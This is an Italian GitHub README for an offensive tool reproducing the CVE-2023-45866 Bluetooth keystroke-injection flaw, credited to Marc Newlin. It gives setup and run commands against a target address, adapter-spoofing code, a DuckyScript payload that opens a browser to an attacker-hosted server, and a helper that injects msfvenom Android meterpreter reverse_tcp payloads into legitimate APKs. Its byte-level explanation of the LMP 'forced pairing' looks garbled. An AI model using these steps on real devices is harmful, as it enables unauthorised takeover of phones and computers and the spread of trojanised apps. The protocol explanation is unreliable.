danyw24/bluexploitExploit basato su vulnerabilità critiche Bluetooth (CVE-2023-45866, CVE-2024-21306)
# blueXploit
[Video di blueXploit](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** è la mia proof-of-concept personale che riproduce **CVE-2023-45866**, la vulnerabilità di iniezione dei tasti Bluetooth scoperta da **Marc Newlin**. Abusa di un difetto nel protocollo Bluetooth per iniettare sequenze di tasti in un dispositivo target **senza pairing**, aprendo la strada ad attacchi più complessi.
> **Attribuzione.** La vulnerabilità e l'exploit originale sono opera di **Marc Newlin**
> ([hi_my_name_is_keyboard](https://github.com/marcnewlin/hi_my_name_is_keyboard)) — non rivendico
> la scoperta. Questa repository è una riproduzione realizzata per comprendere e documentare il bug; su di essa,
> blueXploit aggiunge un esecutore di payload in stile DuckyScript, un meccanismo di riconnessione/retry e un helper
> opzionale per l'iniezione tramite APK Android. Tutto qui è **solo a scopo educativo e di ricerca**.
# Come funziona la vulnerabilità
Queste vulnerabilità critiche ([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/), CVE-2024-21306) consentono a un attaccante di iniettare sequenze di tasti e accettare richieste di pairing senza conferma da parte dell'utente. Ciò compromette gravemente la sicurezza di numerosi sistemi operativi.
## Sistemi interessati
- **Android**: dalla 4.2 alla 14 (dall'11 alla 14 se manca la patch del 2023-12-05)
- **Linux**: richiede una patch di BlueZ.
- **macOS**: dalla 12 alla 14.2 (fix parziale).
- **iOS**: 16 (vulnerabile), corretto in iOS 17.2.
- **Windows**: corretto nel "Patch Tuesday" di gennaio 2024.
## Impatto
- La vulnerabilità consente il controllo remoto di un dispositivo iniettando sequenze di tasti anche senza accettare il pairing Bluetooth, forzando la connessione ed eseguendo comandi chiave.
## Attacchi di esempio
- **Esecuzione remota di comandi**: controllo di dispositivi vulnerabili tramite sequenze di tasti iniettate, dove i
vettori d'attacco sono molteplici — dall'ottenere una **shell** all'**installazione di applicazioni dannose**.
- **Attacchi Denial-of-service (DoS)**: inondare i dispositivi con richieste di pairing.
## Mitigazione
- Aggiornare i dispositivi con le ultime patch di sistema.
- Disattivare il Bluetooth quando non è in uso (questo impedisce l'esecuzione di qualsiasi exploit per questa vulnerabilità).
- Evitare il pairing con dispositivi sconosciuti.
# blueXploit - utilizzo e demo
- Basato sull'[exploit originale](https://github.com/marcnewlin/hi_my_name_is_keyboard) di Marc Newlin.
- Installazione delle dipendenze
```bash
# aggiorna apt
sudo apt-get update
sudo apt-get -y upgrade
# installa le dipendenze da apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# installa pybluez dal sorgente
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# compila bdaddr dal sorgente bluez
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## Usare APKPwn + blueXploit
**blueXploit** include strumenti per sfruttare le vulnerabilità sui dispositivi Android, offrendo due componenti principali e un programma aggiuntivo chiamato **apkpwn_injector**, situato nella cartella **injector**.
### Funzionalità di APKPwn
- Automatizza la creazione di payload **android/meterpreter/reverse_tcp** usando **msfvenom**.
- Inietta tali payload in applicazioni `.apk` esistenti nella cartella **apk_clean**.
- Configura un server locale per servire le applicazioni dannose generate.
Queste funzionalità consentono un flusso d'attacco efficiente e semplificato in ambienti controllati o per test di penetrazione.
```bash
cd injector
python3 apkpwn_injector.py
```
## Creare o modificare un duckypayload
I comandi chiave eseguiti da blueXploit vengono caricati dalla cartella **/injector/payloads/** in formato **.txt**, con una sintassi semplice e facile da capire.
### esempio di duckypayload
```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
Modifica l'indirizzo IP con l'indirizzo in cui è ospitato il server.
Rilevamento ed enumerazione dei dispositivi
```bash
bluetoothctl
```
Scansione dei dispositivi Bluetooth
```bash
scan on
```
Esegui
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
Quindi seleziona il payload richiesto, precedentemente configurato.
## Demo
La demo completa è in questo [video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
## Hardware utilizzato
- Raspberry Pi 4
- Kali Linux ARM64
# CVE-2023-45866 spiegata
Questa vulnerabilità viene sfruttata a basso livello nel protocollo Bluetooth, manipolando principalmente il profilo HID e il protocollo L2CAP per iniettare sequenze di tasti in un dispositivo vittima.
## 1. Il protocollo Bluetooth a basso livello
Lo stack Bluetooth include diversi livelli, come il Link Manager Protocol (LMP), l'Host Controller Interface (HCI) e L2CAP. Questo attacco usa principalmente gli ultimi due:
- **HCI**: la configurazione dell'adattatore viene manipolata per presentarsi come un dispositivo HID legittimo.
- **L2CAP**: responsabile del multiplexing dei dati tra i dispositivi, L2CAP usa il canale 17 (HID Control) e il canale 19 (HID Interrupt) per la comunicazione HID, che possono essere sfruttati per inviare sequenze di tasti.
## Sfruttare CVE-2023-45866
CVE-2023-45866 è una vulnerabilità nel Link Manager Protocol (LMP), sfruttata tramite un attacco di "pairing forzato". Ecco tecnicamente come viene eseguita:
- **LMP gestisce le richieste di pairing e la configurazione del collegamento.**
- Vengono inviati pacchetti LMP malformati o non autenticati per forzare il pairing, in questo modo:
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
In questo frame di dati:
- `0x01`: richiesta di pairing LMP
- `0x01`: richiesta di autenticazione LMP (PIN)
- `0x00 0x00 0x00 0x00`: informazioni PIN deboli, di solito 0000
Qui l'exploit sfrutta la mancata configurazione e autenticazione di questo pacchetto, che finisce per restituire:
```bash
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
In questo frame di dati:
- `0x02`: richiesta di pairing LMP **ACCETTATA**
- `0x00 0x00 0x00 0x00`: informazioni PIN malformate restituite
Se la chiave non viene validata correttamente, la connessione viene stabilita ma senza un vero pairing, quindi è possibile inviare un pacchetto LMP di pairing forzato in questo modo:
```bash
LMP Forced Pairing: 0x03 0x01 0x0000
```
L'autenticazione può quindi essere forzata usando chiavi precedentemente compromesse (come "0000") e stabilendo un canale di comunicazione cifrato, accoppiando i dispositivi senza passare da un processo di verifica appropriato.
**Questo crea un pairing all'insaputa dell'utente, e persino senza alcuna finestra o notifica di pairing.**
Il difetto di questa CVE è che alcuni dispositivi non validano correttamente le richieste di autenticazione LMP, o finiscono per riutilizzare vecchie chiavi.
Quindi, una volta accoppiati al dispositivo — bang! — il resto è facile: in **blueXploit.py** l'adattatore e il dispositivo agiscono e spacciano dati di identificazione. In questo caso, vengono eseguiti comandi come questi:
```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
```
Codice di blueXploit
```python
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
```
## Iniezione di dati HID
```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
Spiegazione del frame di byte HID:
:`a10100001e000000000000`
- `a1`: specifica il tipo di report HID
- `01`: specifica l'uso dell'interfaccia HID per i dati in ingresso
- `00`: pressione o rilascio del tasto
- `00 1e 00 00 00 00`: il valore esadecimale, dove `1e` corrisponde alla lettera `a`
Viene quindi ricevuto un **ACK** per confermare che la trasmissione sia stata ricevuta correttamente.
- blueXploit integra un meccanismo di riconnessione e reinvio dei dati per mantenere la comunicazione stabile e senza perdite, quindi se si verifica una disconnessione, il programma si riconnette e continua a inviare dati HID dalla posizione/carattere precedente.
> **Avvertenza**: Questo materiale e le tecniche descritte in questa repository sono **strettamente a scopo educativo e di ricerca**. Gli strumenti di penetrazione e sfruttamento devono essere usati solo su sistemi per i quali si dispone di **esplicita autorizzazione** a testare. L'uso non autorizzato di queste tecniche su sistemi che non possiedi è **vietato** e **illegale** in molte giurisdizioni. Qualsiasi danno o impatto negativo causato da un uso improprio di questo contenuto è di esclusiva responsabilità dell'utente.
> Si consiglia agli utenti di operare in ambienti controllati, come **laboratori di test**, e di rispettare tutte le leggi e normative locali relative alla sicurezza informatica e all'hacking etico. ***happy hacking :D***